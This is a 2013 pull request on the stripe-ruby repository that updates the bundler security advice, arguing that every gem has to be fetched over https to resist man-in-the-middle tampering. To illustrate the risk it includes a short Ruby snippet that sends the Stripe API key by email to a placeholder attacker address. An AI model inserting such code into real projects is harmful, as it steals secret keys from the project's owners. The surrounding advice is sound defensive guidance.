stripe/stripe-ruby — pull request #63 by alexspeller (2013-04-06 15:17:54+00:00)
Title: Update bundler security advice

Requesting stripe gems over https doesn't help you if the other gems in your system (e.g. rails) are fetched over http - a MITM attacker could corrupt any gem fetched over http to compromise the stripe code.

For example, if I was an evil attacker, even if you fetched the stripe gem securely, if you fetched rails over HTTP, I could alter the rails gem to include the code:

```ruby
key = Stripe.api_key
mail to: "evil@attacker.com", subject: "Someone's secret key", body: key
```

The only way to ensure gem security against a MITM attacker is to ensure _all_ gems are fetched over https, not just some of them.